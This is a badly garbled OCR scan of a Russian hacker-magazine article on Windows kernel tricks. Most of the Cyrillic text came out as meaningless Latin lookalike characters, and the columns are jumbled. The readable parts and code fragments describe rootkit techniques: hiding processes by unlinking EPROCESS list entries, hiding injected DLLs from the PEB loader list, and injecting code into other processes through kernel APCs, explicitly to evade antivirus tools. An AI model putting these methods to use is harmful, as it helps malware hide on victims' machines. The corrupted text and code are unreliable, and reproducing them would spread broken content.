STOpci1 sonpoc OTBeT npOCl: YTo6bl CltlrHall 0 no6e)J,e

fllil Wb OAHa>KAbl.

A KOIllil4eCTSO )l(>13He~ oTnpaSll\1eTCI1,

6blfl

ornpaBlleH

4T06bl 01H~

XpOHliI3lilposaTb KlllileHTOB. 06MlCHIO nO,D,po6Hee. Hanpl-tMep, B 6l-1T8e

Y4aCTBYlOT Tplil p060Ta.

Y Ka~oro

pa3Hoe KOIll-l4eCTBO >t:.ltl3H€l.1.

nOrltl6aeT, a KorA8 s03BpalllaeTCI< 8 vtrpy. ero ](Jll-1€HTCKal1 Al-1HaMV14eCKlil€ 06beKTbi 3aHoBo, Ao6asJ11111 Bparos

L-1

33 OKeaH, 4TOGbi nOMO'1b MeCTHbIM: a MO>KeT 6blTb, OTKpOeWb CBOIO CTy,D,l-1IO. rAe 6YAewb npOaOJl,HTb l-1CClleAosaHl-1>1B 06JlClCTl1 3fleKTpOHHbiX pa3slle4eHIo111 101 pa3pa6oTaewb a6COilKJTHO HOBbll1li1rpoBoi-l >KaHpl

OAHH

'1aCTb c03AaeT

pa3A3BaSllilM

m3AKIlIOlfEH lifE B 3aKJl104eHltle XO'1y OTMeTl-1Tb nOIlO>KIUeJlbHble l.1 OTpliILJ,aTenbHble

no Imiddlewarel. K KOTOpOMy,

no M8KCl-1MYMY )l(l-13H€~ (XOT" 8 slilpry8ne y HliIX MO>KeT 6blTb MeHbwe).

CTOPOHbllilcnOllb30B3HliIl1l-1HTep<peI1CHOrO

nO:nOMY, KorAa OH 6yp,eT CTpe11SlTb no npOTl-1SH liIKaM. OHItl y*-e nOM pyT,

S 4aCTHOCT\1, OTHOCItlTC51 Dark GDK. KOHe4Ho, aBTop 3H3KOM C 33­ aepeHliI"MliI Hm3: «3a4eM MHe Hy>KHa K3K351-TO H3,o,CTp0i1K3, eCTb>Ke

DirectXh~, J],3, yurembo \1 caM a AeTCTse TaK rOBopV1ll, HO rorAa

OTPEAAKUVIVI

nl-1Cafl no,D, DirectOraw, orpbl3a51cb HanpaBO 11 Halle so. Celil4ac :>Ke.

ITpe.tl.blAYU\He craTbli ll;lU<Jla BblillJlH B HOMepaxI3a OKTIl6pb, HOH6pb H .n;eKa6ph npollllIoro ro,ll.a

(<< TeJl,uwe MCKYCCTDO -

y Hero

He 6blllO HopMallbHoro rpa<pHYeCKOrO aKcenepaTopa. \11 01-1 ace liIrpbl

urpo,n;eJl8», «Hrpa

Bo~m BopOTa", «TeMHoe HCKyCCTBO HrpoAeJla, <taCTb 3,,), Ha3TOM

KOr,D,a KpyTble 30~YCKOpI1TefllileCTb npaKTH4eCl01 y Ka>KAoro, nOA06HblVt KOHcepsaHOM 6YAeT sblrll51,o,eTb 04eHb CTpaHHO.

n03TOMy. BocnOflb30­

SaBW\1Cb lilHTep<p€~CHblM no, KOTopoe nopo~ a6C011KlTHO 6ecnllaTHO

MOl XOTeJIH 6hL103aBepUH-ITb LJ;l-fiUI "Te1\-lliOeHCKYCCTBO HrpO,ll;elfa»,

[Kat< S paCCMaTplil BCl0MOM cny4ael. MO>KHO COKpaTlilTb SpeMI1 Ha pCl3pa~

nOC<t]lTaB ero HeCKOJlbt(O yHhUIhlM, HO "'HTaTe.JI11 C HaM" He COrJlaCH­

60TKy ltlrpOBOro (8 4aCTI-IOCTlil, rpa¢liI4€ c Korol

JIHCh. OHit npOCnal\1I1.1l11

a€ l 1\aM

MbUlO pe,ll.aKTopa py6pHKHTpe6oB3HHaMH

o6eI1.taH'Horo 3aBepweHHa6aHKeTa -

CTaTbH npo MYJIbTI1nJleep. MhI

ABl-1>t:.Ka, l-1 nOCBRTliITb ero

T80pl.leCKI1M: 06,D,YMbI8aHl.11O CIO>KlHa l-'t npopa6oTKe rei1Mnlles:fl

ECfl\1 Te6e 3aX04eTCfl el1.\€

a

4TO~Hl-16YAb y3HaTb 0 pa3pa60TKe l-1rp Is 4aC1­

6bVlH shlHYJKlteHbl3anpOCl1l'b now;atJ;h1. npUHOCHM CBOH 113BlfHeHHH­

HOCTlil,

BOT aHa, 31'8 CTa1'hH.

,ll.lll1 06w,eHliISl. YAayl.1 Te6e BO BCex H3'1liIHaH liI"X. I1rpOAeJl!:X::

XAKEP 05/125/09

KO,Ql-1pOBaHl.1l-1 )J,Bl.1>t:.KOBI. TO fllilWl-1, yurembo Bcer,Qa OTKpblT

~

105


,+++

»

i:£J

coding

EPROCESS

EPROCESS

KPROCESS

,.+++

I

I

~

i

,.+++

t.+++

II IaII _

LIST_ENTRY {

)

I,

ij L1STJNTRY {

I I

I

.+++

ij

I

FLIN~~: t:! L1l'l 1<.

I, KPROCESS

EPROCESS I,

KPROCESS

"

~

I'

ij

-,. LIST _ENTR'y' {

,4'

FLINK

•• •

...

i@.'"

",

FLlt'~K

BLINK)

+++

.+++

AfjEI<CAH.o.P 3KKfPf

I AlEICSANDR-EHI(KERTIiIRAMOLER.RU f

,.+++

.+++

,.+++

"

BHPM3EHKEPCKHE THnCbl HTPHKCbl lt1rPA B np5ITKlt1 HA YPOBHE 51,Q,PA np0l..\eCCbl B Windows [KaK Vl BJl1D60L:i APyroL:i OC) - 3TO Hawe Bce. OT 5'1Apa

+++

AO KaJl bKymHopa, onepa l..\VlOH Ha51 CVlCTe Ma n peAcTa BJl51 eT c060L:i Jl Vl Wb Ha60p np0l..\eCCOB. KorAa Tbl ABa>KAbl KJlVlKaeWb Ha 3HaYOK KaKoL:i-HVl6YAb

~

.+++

nporpaMMKVl, YT06bl3anYCTVlTb ee, B HeApax CVlCTeMbl npVlBoA51TC51 B AeL:i­ CTBVle orpOMHble pecypcbl, BbIAeJl51eTC51 naM51Tb, BbI3bIBaIDTC5'1 AeC51TKVl

I-

++

NativeAPI. .. Ii1 CerOAH5'1 Mbl noroBopVlM 0 TOM, KaK 3cPcPeKTVlBHO VlCnOJlb­ 30BaTb 3TVl pecypCbl B peweHVlVl HeTpVlBVlaJlbHblX 3aAay npVl pa60Te Cnpo­

.,.1-++

~+-++

l..\eccaMVl Ha ypoBHe 51Apa Windows. m npOIlECCbl BWINDOWS c

iLJ ".f-++

HeKOTOpO>1 Hanl)KKO~

npoueCCOM BWindows

MQ)KHO Ha3BaTb Ha60p 6a~1T B onepanlBHoH

naM51H1, 3TO eCllV1 B l.\enOM. A B yaCTHOCH1 -

paMMbl, 3arpy>KeHHOC::; 8 OnepaTl-18HylO

, jLf-++

I

npc­

ueCCOM 05bl4HO Ha3blsafQT 3K3eMnJl5lp npor­

BbinOIlH5IeMoi:1

~

106

Windows.

naM,lTb \.1

nlO6oH npou,ecc CaCTGHT Vl3:

aApecOB BV1pTYaJlbHO~1 naM~n1, KOTOpi:>IM MO)KeT

• CTpyKT)'p ,QaHHbIX. cOAep:::t<aw,ltIx 8(10 \.1H¢>opMa­

nOJlbJOaalbC" npou,ecc[L.

UIo1IO 0 np0l.\eCce. BTOM '-I\.1c.ne, cm1COK OTKpblTblX

• V1CnOJlHSleMoro Ko,o,a l.<1AaHHbIX, KOTopble

Al?CKpl-1nTOpOB pa3JlVl'-lHbfX Cl-1CTeMHbIX pecypcOB,

npOell,l1pylOTCSlS 8\'lprya.nbHoe aApeCHoe npo­

YHl-1KaJlbHblL:!Io1AeHTIt1(~)l.1KaTOpn pou,ecca. pa3JIliIY­

CTpaHCTBO npou.ecca.

G8, eCJ1l11 nOMHlt1Wb];

HylO CT8Tlt1cnl'lecKYIO V1 H¢OPMSU,I'IIO 111.,Q.:

Ma.nO-MSllbCK14 onblTHblL:! KOAep 3HaeT, 'lTO C03­

• aApecHoro npOCTpaHClBS - AlIIana30Ha

AaHV1e Wln32 np0l.lecca OCYllleCTBJl5ierC"

UKEP 05/1251 09


»

coding

PID

Image Base

llOOOOOOO

oooaoooo

00J0()()(J4

0000000o

P"h • [system Idle Process] • [System Idle Process] • \systefTl"oot\SyslefTl32\.smss.ee2

00000264

48580000

.'??\"'...-.dows,system32I,c=.oxo

00000294

4A680000 0100000o 0100000o 0100000o 0100000o 0100000o

.\??\C:\windO¥lS\system32\l'ri:lQ::n.~ ~c:\windows\system32\services.e:xe ~c:\windows\system3Z\lsass.e.x:e

000OO2AC llllllOO208 000002<4

i:.l c:\windows\system32\,svc:OOs1:..exe

0000039O

t::!c:\windows\system32\svdnst.e:xe t:lc,\_IoY"~

00000301 lJOOOO<2C

t:l,,\-~

....

OOOOO'\A'\ (XX)()()4C8

LJc;\windows\system32\~.e:xe

00000528

t:l,,\...-.dows~_

Oc:\Prog'~l\ontrad\fix-t\trP:task.exe

c:J(:\windows\system~o.exe ~c:\ProgrMf1 files\comrnon fies\rriaosoft shared\vs7debug\mdrn.exe

01000000

0100000o 0100000o 0100000o

000006OO

00400000

00000610

0100000o

00000620

00400000

Path

Image~e

e\??\c:\windows\syslem32\csrss.exe

4A680000 7C900000

~c:\windows\system32\ntcl.cI

~c:\wndows\system3Z\csr5l'V.cI

~c:\windows\system32\basesrv.cI

~ c:\IYildows\svstem32\winsrv .cI

[iJ c:\windows\system32\gci32:.cI ~(:\windows\system32\kemet32.d1

75810000 75820000 75B30000 77FlOOOO 7CSOOOOO

&lc:\windows\system32\lMr32.d1

7E360000 7E690000

~"'_""'''''32\sxs.cI

~"'...-.dows~em32'adv""'.cI

~"\...-.dows'''''''''''''''''.cI

77OCOOOO

77E70000 77fEOOOO

~c:\wi'ldows\svstem32\s:el:.d1

YH1J1HTA PE-TOOLS nOKA>KET DLL, 3ArpY>KEHHbIE B npouECC

B6130BOM O~H0I11113 raKIllX

0Y/;KUlillil, r<aK Create Process.

llVITbC51 OTToro

KOll~4eCToa

pecypcoB

~

01CTeMHbiX BbI30BOB,

CreateProcessAsUser [AIlS;; Win NT/2000)li1

KOTopble OC 3a.o.e~cTByeT npl1 C03.o.aHIo1l>1 HOBoro np0l..\ecca!

CrealeProcessWithLogonW IHaYII1Ha51 CWin200011l1 l.A. Ho Ec.nli1 nOCMorpeTb H3

3a no,o.po6HOCT51Ml-l OTCbIJlalOTe6R KKHl-1re M. PYCC~HOBI4Ya

Bee :.'lTO KaCaeTC51 TOJ1bKO 103epMo,q3.

iIl.o,COJlOMOHa «8HyrpeHHeeycTpoiicTBO Windows», XOT51. no

C03AaHllle npou.ecca H3 ypoBHe R,Qpa, TO BOllOCbl HaYHYT weBe­

npas,lJ.e. c npOrpaMMl-lCTCKO~TO'-!KiIl 3peHI-11'l QHa MallO 4TO,IJ.aCT. n03TOMY. e(lll>1 Te6513aillHTepecyeT nporpaMMHbI~ npouecc

Vlcnonb30BAHVlE APC .Qn51 VlH>KEKTA KO.QA pMdl '" IoAllocateMdl (pPayloadBuE dv-;BufSize, FALSE, FALSE, NL'LL); ~~probeAndLockPages(pMdl, KernelMode, Io;.JriteAccessl; KeStackActachProcess(pTargetProcess, &ApcState) ; MappedAddress '" MmMapLockedPagesSpecifyCache(pMdl, UserModc, MrnCached, NULL, FALSE, I

Norrr~lPagePrioritYI;

links

C03,QaHI4511>13anYCKa np0l..\ecca ill 3 5l,Qpa. m1Wl1 MHe Ha Mbl)10,

~

o6cYAI4M.

• .01151 flY4wero

LJTo::t<e MO)KeT AaTb YeCTHoMy xaKepYAOCTyn Ka.o.peCHoMy npoCTpaHCT8y npollecca?.o.a Bce 4ToyrO,L\HO!

yCBoeHI4~

aT 113MeHCH14l'1

MaTepl1ana

coeeTyIO CTaTbill (Ha

,o,aHHblX npOl\ecca 1-1 MaHl.1nylll>1po8aH~~ era OKpy::t<eHl4eM,

aHrJlIo1~CKOMI

enl10Tbp,o 3anycKa CBoero 3110Bpe.o.Horo [iIll1lA He OyeHb) ~op,a

<.What Goes On Inside

8

Windows 2000;

YY;4(OM ap,peCHOM npOCTpaHCTae,

nOJlYYI4TbAOCTYn Ka.o.peCHoMy npOCTpaHCTSyYy;4(oro npOl\ec­

Solving the Mysteries

ca MO)KHO. ace 3TV! cnoco6bl xopowo AOKYMeHTl>1pOBaHbl. O,o,HO

of the Loader» [Ha

nllOXO - OHiIl AOBOllbHO 3¢!¢!eKTI48HO naJl51TC51 npoaKT~8KaMIIl

MSDN!. «Three Ways

1>1

cnel\l-1allbHblMiIl yn.1fll-lTaMl-l YTOAeflaTb') ne3Tb B Hyfl€Soe

KOflbl..\O!

Y)/r( TaM-TO liaM HltIKaKoiil NOD iIlJll-1 KaCnepCKl-1Ci nepe­

Y~Tb He

6y,QeTI

to Inject Your Code into Another Process)) [W\N'Ncod.illK~t.

£.Q.IIl/.th reads/wins(!..'f

m COKPbIH1E npOIlECCA

asp) ~ «Dlllnjection»

5blfla paHbwe TaKa51 ¢~4a - 3aKa3Yl.1Kl.1 MaflBapl>1. Clle.o.yq

lwww.codebrei:l ~ers.:

MOAHblM TeH.o.eHl..\l-151M, Tpe60BallVl OT npOrpaMMl-lCTa «wo6

B

np0l..\eccax He BV\,QHa 6bll1a». 3TO 14 ceL1yac ,QOBOllbHO pacnpo­

iow:f1al com/contenJi

YleY:!ll"l1J27).

CTpaHeHHblii xaKepCKl-1i1 npl>leM. HallelleHHblii Ha COKpblTltle OT 6,o,I>1TeflbHblx rna3 np0l..\ecca Tp0l'lHa [pyTKl-1Ta, Bl-lpyca 11

KeUnstackDe:achProcess(&ApcState); KeInicializeEvent(pEvent, NotificationEvent. FALSE); KeInicializeApc(pApc, pTargetThread, originalApcE~vironment,&MyKernelRoutine, NOLL, r~appedAddress, UserMode, (PVQID)NULL); KeInsertQueueApc (pApc pEvent, NULL, 0); I

XAKEP 05 /125/

O~

np.l. OroBoplOcbcpa3Y. 4TO cnoc06a, rapaHTl-lpYIOl1\ero 100% HeSVI,QI4MOCTb np0l..\ecca AJl51 pa311l>1CIHblX yrltlfll1T. aHH1B14peiil ill npoaKnlBHblx 3aLlll1T, He cYl1\eCTByeT. CKPblTbliii npou,ecc MO>K­ HO Bbl51BIIlTb scerAa. KaK? nOJW06HOCT14 MO>K€Wb n04t1TaTb Ha wV'Iw.w<lsm.ru . .01151 CKPbIT~1'l np0l..\eCCOB 8 User Mode 06bl4HO l>1CnOflb3yeTCSl TeXHOJlOrl-l518He,QpeHI-151 CBoero KOJ,'la 8 ,"Y>Kl-le np0l..\eCCbl ill

~107


.+++

EPROCESS

EPROCESS

ij

" KPROCESS -I

,+++

'itc=J c'+++

+++

'tt:::::J

_

I

~

y611lpaeTC\111lHTepeCYIOw,I1~Hac

L

PEPRQCE:SS ePROC

= PsGetCurrentProcess ()

B

ySystem Informatio n(System ProcessesAn dThreadsl nforma t

,ElaHHyIOTeMy. a norosOpl'IM

ion.. J Haxo.olilM HY)I(HbiV. HaM npo14eCC ~3 06w.ero cnlilCKa Ina

CI1Tb Hl-1yero He 6YAeM, nOCKOfTbKY :no 04eHb flertl;O 8blflBItlTb .

PIO·y npo14ecca ltlJ1lil no ero ltlMeHltl) 33TeM HeMliQro nOKoJ1AyeM

Mbl nO~,D,eM ,QpyrHM nyreM. TeXIH1Ka He Hoea, HQ ,ll,OCTaTO"lHO

C,ll,SyC8Sl3HblMYl cnViCK3Mlillil3 CTPyKTYpbl EPROCESS Vi ... syaJlSl!

3q>q,eKTlIlBHa.

3anYllleHHbl~

Ka)l(,IJ,blYt npOL-4eCC 8 OC Windows npe,QcraBfleH CTpyKrypoVi

BOT, B npV1Hl.\lilne, lil Bce. Apai1sep. peall113ylOlllVii1 COKpblTlile

CTpYKTYpax MeHS1lOTCS1

EPROCESS, KpoMe BrpVl6yroB npOl.-lecca, OHa (CblllaerCfl Ha

npOl\ecca lil3 MeHeA>Kepa JaAa4.

CMew,eHYlSl. BcerAa

HeCKOJlbKO ,QPVrl1X crpyKTyr, r:Rfl38HHbIX c BblnOflHI1IQl.L.l14MC51

Aep>Klil no.o PYKOI1

npou,eCCOM, HanplIIMep, C Ka>K,!J,blM npOll,eCCOM CBR3aH O,QVlH

nporyTYlna PdbDump,

VlJ]l.1 HeCKOJlbKO nOTOK08,

KOTOpa51 nOf..lO>KeT Te6e

Typo~ ETHREAD. CTpyKTYpbl EPROCESS, 8 C6010 OyepeAb,

K

MHorltlX CltlCTeMHblx

CB~3aHbl

Mbl€ CI.1eU-\eHlilSl

npow.eHI1S138 T8ST01l0rlillO. B K3)t(,ll,0I1 T8K0L4 CTpyKTYpe np\o1­

B KpyroBo~ ABYC6S13Hbl~ ClllilCOlC ­

;+++

TO eCTb, npowy

tr::=J

YacTO ManBapb nOCTaBllSleTCS; KOH€YHOMY lO3epy He KaK OTAellbHblv. eXe-WHltl:< [noCKOnbKyerc 11erKO OTJ10BI1Tbl. a KaK OT,ll,eflbHaSl6lil61llilOTeKa dll, nO.QrpY>KeHH'Hl 6 a.opeCHoe

HaVlll1 TeKYl.1\lilt.1 EPROCESS. npo6e::teaTbcSl no BceMy ClllilCKY,

.oypHO: CTAellbHoro npOl\eCca HeT, a V,CK2Tb nONPy)l(€HHylO

H3(;tTlil npol\ecc, KOTOpblL4 HaAO CKpblTb, noclle yero ClllilH­

dll 6 aApecHOM npOCTpaHCTae Apyroro npOL\ecca - 3aAaya

KOBaTb npeAblAYl.l\lilL4lil noclleAYIOw,lil~ npol\eccbI. r1Plil JTOM

TPYAoeMKaSl. 3TOT HexlilTpbl(:i xaKepCKlilL4 npl1€M 3aJ<fl104aeTcSl

o6Sl3aTeJ1bHO HaAO nOMHVlTb 0 10M, "iTO 8 Windows oT6lilJl,ll,a K

8

6lilJlAY MeHSleTCSI «COCTas" He,ll,OKyMeHTl1pOeaHHblx CTpytayp lil,

4epe3 8bl30B VirlualAllocEx!WriteProcessMemory ~1 3areM

COOTeeTCTseHHO,

BblnOflHltlTb ero nocpe,o,CTSOM Create Remote Thread

cMew,eHlil~

Ha Hy>KHble HaM nOIlSl.

TOM, YTo6bl3anl1caTb

Bnp04€M, cnp3SeArH-IBOCTltl pa,o,Yl ~Ka)l(Y, YTOTpfOKnaJ1lHCR

PsGetCurre ntProcess[J:

CKpoeM HaLUy JIlOBpeAHylO dlllil3 cnlilCKa 3arp¥'KeHHblx B An

¢lopMaT

BHA

g

-A1oIcr1e:T~ep :JaAa~ Wmdows

>!latin

81\4

flapal-IeTI)bI

Crpaelca

I)loueccbl

3Mepwe1'll'le paOOlbl

\o1!'1$1 no1b3OBaTenA I

un

n->.

aneKCeH

00

39521<6

lNSTDRV.EXE flashget.exe

aroeKCeI1

00

wscntfy.exe a\c;l.exe

""""""

aneKl:et1

00 00

222<1K6 10776 K6 2132K6

LOCAl SERVlCE NETWORK SERVICE

00 00

inetinfo.exe

SYSTEM SYSTEM

mxtask.exe

SYSTEM

ctfmon.exe

o!lnelOCet1

00

00 00 00

PS.exe

o!lneKCeH

00

magent.exe

aneKCeI1 aneKcel1

00 00 00

aneKCel1

SYSTEM lOCAl SERVICE NETWORK SERVICE LOCAL SERVICE

9 9<1S K6 2492 K6

30nK6 3836 K6 S4660K6 3860 K6 12268 K6 6984 K6 .. S20 K6 3532 K6

00

'7321<6

SYSTEM r£TWORK SERVICE

00 00

26908 K5 222<11<0

NETWORK SERVICE

00

• sao 1<6

00

SYSTEM SYSTEM SYSTEM

00

00 00

'6881<6 IS<fOK6 • 084 1<6 38681<6

SYSTEM

00

.. 236K6

srIlSs.exe

SYSTEM

00

sqlservr.exe

SYSTEM

00

6eJAciicTSI1e CHCTeN>I

SYSTEM SYSTEM

00 ..

mK6 9904 K6 236K6 28K6

.,,­

W Oro6pa)l(an. npouCCCbl eC8X 1lOJb308<lTeneH

}++ ~,

~ 108

00 00 00

35601<6 16561<6 20841<6

SYSITM

winIogon.exe cstss.exe

n:::J

I

taslrmQr. exe

wdTngr.exe

'++

Ilb1lb308aTe1ll1

t.1IoIs:l 06pala

svchost:.exe SQbowser.exe svchost.exe svchost.exe lsass.exe services.exe

}++

Cnp&>l(<'l

I~TPOAet:ic-r8He I CeTb

svdlost,exe

tt=J

KOA

aHH16\o1p51Mlil. nonpo6yeM HeMHoro OCflO)l(HlilTb lo1M >Klil3Hb­

StatusClient.exe explorer.exe spooIsv.exe svchost.exe

,++

naM51Tb 4y)t(OrO npol\eCCa CBOM

CTpyKTypy EPROCESS. 3ro AellaeTC51 Bbl30BOM ¢YHKl\lillil

sq!serw.exe mdm,"""

++

8

nepeoe. 4TO Hy>KHO C,ll,ellaTb, :no n011Y4V1Tb YK838Te11b Ha

Ilpt1f1OlKeKtA

;++

v

npOCTpaHCTBO KaKoro-Hlil6YAb npou,ecca. A '-110, coeceM He­

Tet<cToBblH AOKYlleHT.blt ­ 6nOKHoT ~

Ha ,QlilCKe.

npeAbi,ll,YlllYIO lil nocneAYfOlllYIO CTpYK1ypbl. Hawa l\€ J lb­

6J10KHOT JAnY\UEH. HO B Cnl1CKAX npOUECCA HET • .._ ~ r:;; "

ltlU~lil

3ArpY>KEHH0I1

B npOIlECC DLL

cyTCTByeTyK83aTeJ1b H8 LIST_ENTRY, cO,ll,ep)l(all\l1V1 YKa3aTeJ1lil

,..'+++

np0Ll,ecc ViC4e3aeT lil3 t-4eHeA>Kepa 3aAa4

m COKPbln1E

npeAcra611eHHblx 6 ClilCTeMe CTpyJ<­

H3XOAlilTbHeo6xo,ll,Yl­

+++

if~+

.

He 6YAeM CeL44aC pa36lilpaTb, K3K lilMeHHO OHa AeL4CTsyeT­

o TOM, K8K CKpblTb np04€CC, Haxo,Q51Cb 8 SOI,!J,pe Windows. CnJlaYt­

611J1AY 60

____I

eClllillilHTepecHo, nOKOnaYlCfI B OT112,ll,4lilKe. Bbl30BoM ZwQuer

Bnp04eM, He 6Y,QeM yrny6JlflTbCfl

• B ~Ape Windows

~

" KPROCESS

L.

npouecc.

H8

'++

I

(\'I ltTI13 nOfly'-leHHOrO cnWKa

warning

aT 6lilJl.oa

L

KPROCESS

nepexsara ¢YH KlJ,\1\4 ZwQuerySystemlnlormationlSyslemProc essesAndThreadslnformallOn .... 1 Vl3 ntdtLdll. OHO cnJ1a~CI1T­

G ~

c+++

--.....­

I,

EPROCESS

JO

r""''''''1q1, 0%

3aeepu.tftb l'1lO'-tecc

I

~e.netfle.--TH: 273M6/6

XAKEP 05/125/

O~


»

npowecca, KaKTbi 110MHL.1Wb, 8 51,a,pe Windows ,a,11\1 pa60Tbi C ilpou,ecc2MV1 V1cnol1b3yeTc>I W€fl3>1 C3MblX B3)f(HbiX W€CC3»

Ky l l3 CTpyKTyp, O,a,H3 V13

3TO «5flOK nepeMeHHblX oKpY)f(eHl1>1 npo­

[Process Environment Block, PEB). DflOK npeAcTaB­

coding

,Q06poro l-1 xopowero npowecca. To 6lt1Wb, BblnOIlHV1Tb V1H>KeKT

Ko,o,a -

1.13 51)J,pa V1 He npV1BfleKa}l BHl.1MaHV1>!6,a,meflbHbIX npo­

aKH1BoK.

,oJl>! HOBV1Y KOB, B03MO>KHO, 3TO 6Y,QeT HenpoCTO, HO, eCJl L1

fl\1eT c060~ He,a,o,'(YMeHH1poB2HHyto)ll KpV1TV1yeCKItl B3>KHYto

y Te5" eUb onblT nporpaMMYlpOB3Hl-11l B Il,o,pe, Tpy,ll,HOCTev.

IJ,Jl\1 HOpM3JibHoro cjlYHKL\lt101-:lt1POB3HIIIQ npoqecc3 cTpynypy.

TyT HeT

KOTopall C03p3eTCIi V13anOilHlleTC51 Ha CT3,a,V1V1 e03,a,aHV11l npo­

MexaHV\3M OC Windows npep,ycM3TpV1B3eT APC­

• Ha .L\lt1CKe Tbl

Asynchronous Procedure Ca ll- YTO-TO TV1 na «coo6ll1,e­

Hai1,1J,eWb ,lJ,pav.Bep,

wece3.

K npl.1Mepy,

B He~ co,a,ep:>K3TCIl T3KI.1e B3:>KHbI€ nOil>l,

, dvd

K3K PEB_LOR_DATA V1JiV1 PROCESS_PARAMETERS. A 80T

HV1~», KOTopble MoryT ,QOCT3BflllTbC" nOToKy p,flR SblnOJlHe­

peaIlL13YlOllI,l-1~ COKpbl­

y:>Ke 8 PEB_LoR_OATA CO,Il,ep:>KV1TCI1 cnV1COK 6J1l6flV10TeK, 33­

H 11111 onpe,QeIleHHblX cjlyH KWYlV.. n pV1yeM nOTOK 0 H V1X MO:>KeT

Tlt1e npowecca, aT3K:>Ke

rpy:>KeHHblX B 3ApeCHoe npOCTp3HCTBO npOl.(eCC3, OH-TO HaM

HIIIyero He 3H3Tb. VlX-TO Mbll-133,a,ewcTByeM. ,oOCTaBJl>!KJllI,V1\1

HeCKOfl bKO ,a,pyrV1x

V1 Hy:>KeHI nOIlYljVlB YK333Teflb H3 PEB, Mbl 331.1MeeM YK333TeIlb

KO,Q on pe,QeIllleT CBOIO callback-cjlYH KWl-11O tJ,fl>l APC, KOTOp311

cjlL14,OnL1CaHHbIX

Ha ,a,8YC81l3Hb1Vt Cnl.1COK dU, 3arpY)f(eH HblX 8 npowecc: Peb

6Y,QeT Bbll10flHeHa B KOHTeKCTe Tpe6yeMoro nOTOKa. H3­

B CTaTbe W npe,QH33Ha­

-7 Loaderoata -7lnL03dOrderModuleList Tenepb, 'Ho6bl

n pV1Mep, MexaH 1113M APC YlcnoIlb3yeTCl1 B T3 KOM BaA<HOM

yeHHblX ,QJl>1 V13yyeHV1>1

en p>lTaTb dll OT 8C\1yeCKIIIX yTL.1IlVlT, npoCTo nOCTynlt1M TaK

MeX3HV13Me nOTOKOB Windows, K3K npIIIOCTaHOBK3 lt1 BOCCT3­

npoweCCOB.

A<e, K3K VI 8 CIlYliae COKPbITL1\1 npoweCC3 lt13 cnV1CK3 3a,a,3Y­

HOBfleHV1e (suspend/resume) nOTOKa. rflaBHoe npeYlMY­

U1V1 HKyeM coce,a,HV1e yK33aTeflV1 B In L03dOrderModuleList.

llI,eCTBO APC C TOYKl.13peHYI\1 M3f1BapV1 - TO, YTO APC tJ,flll

~T3K, ,a,06b18aeM YKa3aTeflb H3 PEB T2KYl1.\erO npowecca s

3HTV1BV1peili YI npaKTlt1BOK -

Usermode'

onepaWYll1, BblnOIlHReM3>1 OC, III n03ToMycooTHeCH1 Bbl30B

3TO COBepweHHO HOPM3IlbH31l

APC co 3IlOBpe,a,HbIMl.1 ,QeWCTBl-1I1Mlt1 M3IlBapYl ev. 6y~eT Kpa v.He Tpy,QHO. 60Ilee nO,Qp06HO [npaB,Q3, H3 aH rIl V1WCKOM)

PEB* GetPEB ()

o Bbl30Be APC PEB* pPeb;

MOA<HO nOYV1T3Tb 3ACCb: htlpl/www.cmkml

com/a rC-lI serape. him l.

~

\!traK, nepBoe: Bbl,QeJl>leM KyCOK naM,Hl-1 B Bl.1,Qe MOL, KOTOPbl~

• ,oIl\1 OTIla,ll,KV1 ,Il,pa~­

info

petsh fs: [Ox30]

3aTeM 6y,o,eM L1CnOIlb30B3Tb,a,IlI1 3anV1CV1 Hy)f(HOro H3M KO,D,a.

sepOB 06113aTeIlbHO

pop pPob

3aTeM anaYl-1MC$1 K TapreT-npoweccy, nOCfle yero flOYIo1M B

Hy)f(eH OTJla,lJ,YVlK

to3epMO,ll,HOW n3MI1TV1Bbl,a,efleHHbl~ H3M YY3CTOK n3MIlTV1

ll,ll,epHoroypOBHI1 mna

OTKJllOyaeMC}l OT npOL\eCC3 YI Bb13b183eM np0lt1HV1WIll3IlI.13V1PO­

SoftlCE VlflV1 WinDBG.

J'.2turn pPeb;

BaHHbl~ APC, KOTOPblW 6y,a,eT BbinOflHeH CL1CTeMO~ B KOHTeKCTC

Vl

O,QH oro TapreT- npowecca

CL1MBOflbl C www

T3KKe MO>KHO Bbl3B3Tb cjlyHKWIo110 ZwQueryinform3tionProces5

3,Qecb Hy:>KHO npe,a,ycMoTpeTb nOTOK TargetThre3d, r,a,e 6y,QeT

mICrosoft

C KflaCCOM IIIHcVopMaw,Hl ProcessBasicinrormalion, B :nOM

Bb1l10nHI1TbOl KO,a,. 06b1YHO npV1 peweHV1V1 :noi:1 np05IleMbi

~O,rJ1!w..b,g.cJ

cnyyae B 6y¢ep 3anL1WeTCIl cTpynypa PROCESS_BASIC_

HaXO,QYlTCIl cYlll,eCTsytoll\V1V. nOTOK B npowecce Bbl30BOM

De.0'QQlslDeb uggj ngj

IN FORMATION, O,QHO 1'13 nOflei:1 KOTOpOi:1 L1 eCTb YK333TeIlb Ha

PKTHREAD thread=KeGetCurrentThread(),

symbolpkg .r:nspx

PEB, 3aMeYy, YTO a.o.peca PEB.o.Ml Bcex npoweccos aH3flO­

B ,QonO!lHeHl.1e

rV1YHbl, 60Ilee Taro, PEB Bcer,1\3 Haxo,a,l'1TC\1 B BY1pTyaflbHoM

anaYV1BW\-1Cb K KaKoMy-Illt160 npoweccy. KpoMe V1H)f(eKT3 KO,Q3,

He 3a6YP'b CKayaTb

K BblweCK33aHHOHY MOry CKa3aTb, 4TO, npl.1­

a,QpecHOM npOCTpaHCTBe npowecca no 2,Qpecy Ox7FFDFOOO.

MO)1(HO 6123 OC06blX npo6neM CYV1TbIB3Tb Hy>KHble ,lJ,3HHble '11"­

B ",[ipe nOIlYYV1Tb YKa33TeIlb H3 PEB MO>KHO CIleAYlOllI,V1M 06­

pe3 Bbl30B NtRe3dVitualMemory \-1IlL1 A<e npoV13Bo,QL1Tb3anV1cb - - - - - - - - - - - ,

pa30M:

B atJ,pecHoe npoCTpaHCTBo npowecc3 COOTBeTCTBeHHOCTV1 !.jepe3 NtWriteVirtualMemory. K nplt1Mepy, !.jTO-HV16YAb Bpo,Qe:

PEPROCESS eProcess = PsGetCurrentProcess () ;

p?eb = (PVOID; (* (PULONG) ( (PCHAR) eProcess +

PEPROCESS process = psGetCurrentProcess () ;

PebOffset) )

KeAttachProcess{process); NtWriteVirtualMemory{process_handlc,

BOT elll,e OAHO HexV1Tpoe peweHV1e llT06bl 3alll,lt1TIIITb npo­

address, buffer, numbytes, NULL} ;

